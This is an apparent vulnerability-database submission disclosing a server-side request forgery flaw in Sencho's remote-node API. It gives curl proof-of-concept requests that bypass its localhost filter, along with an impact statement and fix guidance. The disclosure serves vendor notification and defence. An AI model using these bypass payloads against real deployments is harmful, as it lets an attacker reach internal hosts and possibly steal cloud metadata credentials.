| عنوان | Studio-Saelix sencho <= 0.94.1 Server-Side Request Forgery |
|---|
| الوصف | SUMMARY
The "add remote node" feature (POST /api/nodes) in Sencho is vulnerable to Server-Side Request Forgery. The loopback/localhost block that Sencho documents as an anti-SSRF control can be bypassed with a public DNS wildcard, an IPv4-mapped IPv6 literal, or by targeting the unfiltered x.x.x.x cloud metadata range. An authenticated admin (or node:manage-capable) session can use this to make the Sencho backend connect to arbitrary internal hosts and ports.
DETAILS
isValidRemoteUrl() (backend/src/utils/validation.ts, per public source) blocks only a literal-string regex pattern (approximately localhost|127\.(\d+){3}|\[::1\]|0\.0\.0\.0) applied to the raw input string. It does not (1) normalize the host per the WHATWG URL spec before comparison, or (2) resolve DNS / canonicalize the host before deciding whether it's loopback/internal. The actual outbound connection happens later, in NodeRegistry.ts::testRemoteConnection, via axios.get(baseUrl + '/api/auth/check', ...), with no second validation pass at connection time.
CSRF was considered and ruled out as an alternate attack path: the session cookie is HttpOnly; SameSite=Strict, the endpoint requires Content-Type: application/json, and no permissive CORS is configured -- so this requires an actual authenticated session, not just a logged-in admin visiting a malicious page.
PROOF OF CONCEPT
Requires an authenticated admin session (cookie jar cookies_admin.txt from POST /api/auth/login).
Baseline -- confirms the intended block works for the literal string:
curl -s -i -X POST -b cookies_admin.txt http://TARGET/api/nodes \
-H "Content-Type: application/json" \
-d '{"name":"x","type":"remote","api_url":"http://127.0.0.1:PORT","api_token":"x"}'
-> HTTP 400 {"error":"API URL cannot point to localhost or loopback - use the actual host address"}
Bypass 1 -- public DNS wildcard resolving to 127.0.0.1 (nip.io):
curl -s -i -X POST -b cookies_admin.txt http://TARGET/api/nodes \
-H "Content-Type: application/json" \
-d '{"name":"ssrf-test","type":"remote","api_url":"http://127.0.0.1.nip.io:PORT/","api_token":"dummy-token"}'
-> HTTP 200 {"success":true,"id":<N>}
curl -s -i -X POST -b cookies_admin.txt http://TARGET/api/nodes/<N>/test
-> {"success":false,"error":"Authentication failed - check the API token."}
("Authentication failed" only occurs if the TCP handshake succeeded and a real server answered; confirmed via negative control: a closed port returns ECONNREFUSED instead.)
Bypass 2 -- IPv4-mapped IPv6 literal, no external DNS dependency:
curl -s -i -X POST -b cookies_admin.txt http://TARGET/api/nodes \
-H "Content-Type: application/json" \
-d '{"name":"ssrf-test2","type":"remote","api_url":"http://[::ffff:127.0.0.1]:8977","api_token":"dummy"}'
-> HTTP 200, node created
curl -s -i -X POST -b cookies_admin.txt http://TARGET/api/nodes/<N2>/test
-> {"success":false,"error":"connect ECONNREFUSED ::ffff:7f00:1:8977"}
(WHATWG URL normalization rewrites the address to [::ffff:7f00:1], which doesn't match the regex.)
Bypass 3 -- link-local / cloud metadata range, not blocked at all:
curl -s -i -X POST -b cookies_admin.txt http://TARGET/api/nodes \
-H "Content-Type: application/json" \
-d '{"name":"ssrf-metadata","type":"remote","api_url":"http://x.x.x.x/","api_token":"dummy"}'
-> HTTP 200, node created
curl -s -i -X POST -b cookies_admin.txt http://TARGET/api/nodes/<N3>/test
-> {"success":false,"error":"connect ECONNREFUSED x.x.x.x:80"}
(In a real cloud deployment this address is the instance metadata service; the connection would succeed for real, potentially exposing IAM/service-account credentials.)
Negative control: the same requests as a "viewer" role return 403 (access control for node:manage works as expected -- this is not an authorization bypass, only an SSRF).
IMPACT
An authenticated admin (or node:manage-capable session) can use the "add remote node" feature as a general-purpose SSRF proxy against the internal network reachable from the Sencho container -- including the cloud instance metadata service in cloud deployments. Sencho mounts /var/run/docker.sock, so the blast radius of further escalation from this position is high.
FIX
Resolve the host before validating (never trust the raw string), normalize all IP representations, block by IP range (127.0.0.0/8, x.x.x.x/16, fe80::/10, RFC1918/RFC4193) rather than string match, and re-validate at connection time to mitigate DNS rebinding.
DUPLICATE CHECK
Checked VulDB, NVD, and the GitHub public Advisory Database prior to submission; no existing entry found. The vendor's own advisories page (github.com/Studio-Saelix/sencho/security/advisories) shows no published advisories as of this submission.
VENDOR CONTACT
Vendor contacted via a private GitHub Security Advisory (GHSA-49jj-vg9f-rg55) on Studio-Saelix/sencho. No CVE requested and no patch published by maintainers as of this submission. |
|---|
| المصدر | ⚠️ https://gist.github.com/jovair1994/db23594d74428d38606e8000beb867d4 |
|---|
| المستخدم | jpazz (UID 99722) |
|---|
| ارسال | 16/07/2026 10:12 PM (3 أشهر منذ) |
|---|
| الاعتدال | 10/10/2026 02:48 PM (3 months later) |
|---|
| الحالة | تمت الموافقة |
|---|
| إدخال VulDB | 416187 [Studio-Saelix Sencho حتى 0.97.1 Add Remote Node API Endpoint validation.ts isValidRemoteUrl تجاوز الصلاحيات] |
|---|
| النقاط | 20 |
|---|